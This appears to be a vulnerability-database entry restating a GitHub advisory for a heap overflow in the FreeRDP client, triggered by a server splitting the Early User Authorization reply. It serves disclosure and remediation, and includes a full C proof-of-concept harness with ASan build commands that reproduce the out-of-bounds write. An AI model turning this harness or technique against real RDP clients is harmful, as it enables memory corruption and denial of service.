Partial reads can overflow FreeRDP client receive buffer
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- —
- Confidentiality · integrity · availability
- None · High · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-j536-qc58-pmf8. Fix status from GitHub.
Summary
FreeRDP up to and including 3.32.1 is affected. The client's Early User Authorization read checks total buffer capacity rather than remaining space, so split reads push writes past a heap buffer (CWE-787). A malicious or compromised RDP server that completes CredSSP with the client can corrupt client memory and crash the client.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
A malicious or compromised RDP server that completes `PROTOCOL_HYBRID_EX` CredSSP with a FreeRDP client can split the four-byte Early User Authorization result into short reads. The asynchronous client keeps the partially filled receive stream, but `transport_default_read_pdu` calls `Stream_EnsureCapacity(s, 4)`, checking total capacity rather than space remaining at the current pointer. `transport_read_layer_bytes` then writes the next bytes at `Stream_Pointer(s)` and advances on each short read. Repeated incomplete reads move the pointer beyond the 16 KiB allocation. The ordinary PDU branch uses remaining-capacity accounting; the EUA branch does not. The test using the real socket/BIO/`recv` path reports an AddressSanitizer heap-buffer-overflow write of three bytes immediately past the allocation. An assert-free build continues the attacker-content forward write with no in-code bound. With upstream-default verbose WinPR assertions, `Stream_Seek` aborts after the boundary read, limiting the inspected glibc build to client denial of service. The saved packaging survey found assert-free flags in inspected Debian, Fedora and Arch recipes. Those package observations should be treated as recipe evidence, not an estimate of deployment prevalence. ### Complete focused PoC source The focused socket harness starts with EUA mode already enabled and does not perform a TLS or CredSSP handshake. ```c /* * Focused PoC for the FreeRDP transport early-user-auth (EUA) partial read bug. * * Source under test: * libfreerdp/core/transport.c:1140-1146 (transport_default_read_pdu, EUA branch) * libfreerdp/core/transport.c:836-905 (transport_read_layer, unchecked BIO_read * into Stream_Pointer(s)) * * The EUA branch only does * Stream_EnsureCapacity(s, 4); // total capacity, NOT remaining * transport_read_layer_bytes(transport, s, 4); * while transport_read_layer() writes at Stream_Pointer(s) == buffer + position. * In non-blocking mode a partial read (< 4 bytes) still advances the stream * position, so a peer that dribbles 1-3 bytes at a time grows `position` * beyond `capacity` and the next BIO_read() writes past the heap buffer. * * This harness calls the real (statically linked) transport_read_pdu() with a * real rdpTransport attached to a loopback socket; the peer writes 3 bytes * before every read, exactly like a malicious server pacing the 4-byte EUA * response. * * Build/run: see the compile and run commands below (ASan static build). */ #include <errno.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <unistd.h> #include <freerdp/freerdp.h> #include <freerdp/settings.h> #include <winpr/stream.h> #include <winpr/synch.h> #include <winpr/wlog.h> #include "core/rdp.h" #include "core/transport.h" static int make_loopback_pair(int* peerOut) { int lfd = socket(AF_INET, SOCK_STREAM, 0); if (lfd < 0) return -1; int one = 1; (void)setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_port = 0; if (bind(lfd, (struct sockaddr*)&addr, sizeof(addr)) != 0) return -1; if (listen(lfd, 1) != 0) return -1; socklen_t alen = sizeof(addr); if (getsockname(lfd, (struct sockaddr*)&addr, &alen) != 0) return -1; int cfd = socket(AF_INET, SOCK_STREAM, 0); if (cfd < 0) return -1; if (connect(cfd, (struct sockaddr*)&addr, sizeof(addr)) != 0) return -1; int sfd = accept(lfd, NULL, NULL); close(lfd); if (sfd < 0) return -1; *peerOut = cfd; return sfd; } int main(void) { int peer = -1; int sockfd = make_loopback_pair(&peer); if (sockfd < 0) { perror("loopback pair"); return 2; } /* Minimal rdpContext/rdpRdp pair covering the fields the read path touches. */ rdpContext* context = (rdpContext*)calloc(1, sizeof(rdpContext)); rdpRdp* rdp = (rdpRdp*)calloc(1, sizeof(rdpRdp)); rdpSettings* settings = freerdp_settings_new(0); if (!context || !rdp || !settings) return 2; context->rdp = rdp; context->settings = settings; rdp->context = context; rdp->settings = settings; rdp->abortEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (!rdp->abortEvent) return 2; rdpTransport* transport = transport_new(context); if (!transport) { fprintf(stderr, "transport_new failed\n"); return 2; } if (!transport_attach(transport, sockfd)) { fprintf(stderr, "transport_attach failed\n"); return 2; } if (!transport_set_blocking_mode(transport, FALSE)) { fprintf(stderr, "transport_set_blocking_mode failed\n"); return 2; } /* This models the post-CredSSP EUA state; it does not perform CredSSP. */ transport_set_early_user_auth_mode(transport, TRUE); wStream* s = transport_take_from_pool(transport, 0); if (!s) { fprintf(stderr, "transport_take_from_pool failed\n"); return 2; } fprintf(stderr, "[poc] receive stream capacity=%zu position=%zu\n", Stream_Capacity(s), Stream_GetPosition(s)); const char chunk[3] = { 'E', 'U', 'A' }; const size_t limit = 20000; for (size_t i = 0; i < limit; i++) { ssize_t wr = write(peer, chunk, sizeof(chunk)); if (wr != (ssize_t)sizeof(chunk)) { perror("write"); return 2; } const int rc = transport_read_pdu(transport, s); if ((i % 1000) == 0) fprintf(stderr, "[poc] iter=%zu rc=%d position=%zu capacity=%zu\n", i, rc, Stream_GetPosition(s), Stream_Capacity(s)); if (rc != 0) fprintf(stderr, "[poc] read completed rc=%d at position=%zu\n", rc, Stream_GetPosition(s)); } fprintf(stderr, "[poc] finished %zu iterations without ASAN report (unexpected)\n", limit); return 0; } ``` Save the code above as `poc.c` in a disposable directory containing `freerdp-src/` and a matching static ASan `freerdp-build/`. The archived run used the same source and flags. It intentionally aborts the instrumented test process; it does not perform TLS or CredSSP. ```sh SRC=./freerdp-src AB=./freerdp-build cc -std=gnu11 -w -fsanitize=address -fno-omit-frame-pointer -g \\ -DWITH_VERBOSE_WINPR_ASSERT -D_FILE_OFFSET_BITS=64 \\ -I"$SRC/winpr/include" -I"$AB/winpr/include" -I"$AB" -I"$AB/include" \\ -I"$SRC/include" -I"$SRC/libfreerdp" \\ poc.c -o poc \\ -Wl,--start-group "$AB/libfreerdp/libfreerdp3.a" "$AB/winpr/libwinpr/libwinpr3.a" -Wl,--end-group \\ -lssl -lcrypto -lz -licuuc -licui18n -lpthread -ldl -lm ASAN_OPTIONS=abort_on_error=1:detect_leaks=0 ./poc ``` ### Impact An assert-free client build permits a sequential, attacker-content heap overwrite. The archived test advanced to position `0x8000` with only `0x4000` bytes of stream capacity. The upstream-default assert-enabled build aborts the client at the boundary. The attack requires Alice to connect to a server that can complete CredSSP; a passive or credential-less intermediary cannot inject this reply. No confidentiality loss, reliable stock-client control-flow hijack or code execution was demonstrated. A prior one-byte handler-table redirection depended on the static harness's link layout and did not apply to the inspected shared build. ### Validation The decisive transport and NLA paths are present in FreeRDP 3.32.0 and the inspected 3.27.1, 3.28.0 and 3.31.1 versions. The saved AddressSanitizer socket run shows a three-byte `recv` write past the 16 KiB allocation; an assert-free run records `final pos=0x8000 len=0x4000 (capacity=0x4000)`; the assertion-enabled control records `MAXOOB write offset=16384 size=4` then aborts. These are focused transport tests. The available source history does not establish an introducing or fixing release. Searches of [FreeRDP's public advisories](https://github.com/FreeRDP/FreeRDP/security/advisories) found no exact duplicate for this partial-read mechanism. ### Reproduction The complete focused socket harness and adapted compile/run commands are inline above. It requires a matching instrumented static FreeRDP build and a disposable local test process. The archived runtime observation is a real BIO/`recv` short-read overflow, not a full TLS/CredSSP-to-EUA product replay; that replay remains unperformed. ### Suggested remediation Maintain an accumulated EUA-byte count and read no more than the remaining bytes of the fixed four-byte result. Reject excess or invalid partial state with a normal connection error. Test split results through the asynchronous event loop with assertions enabled and disabled and under AddressSanitizer. Do not rely on `Stream_Seek` assertions as the wire-input bound.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.32.1 | 3.32.2 | Patch available | GHSA-j536-qc58-pmf8 |
- FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-j536-qc58-pmf8
Remediation
Upgrade FreeRDP to 3.32.2, the fixed version.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-j536-qc58-pmf8 FreeRDP (c) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-j536-qc58-pmf8
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences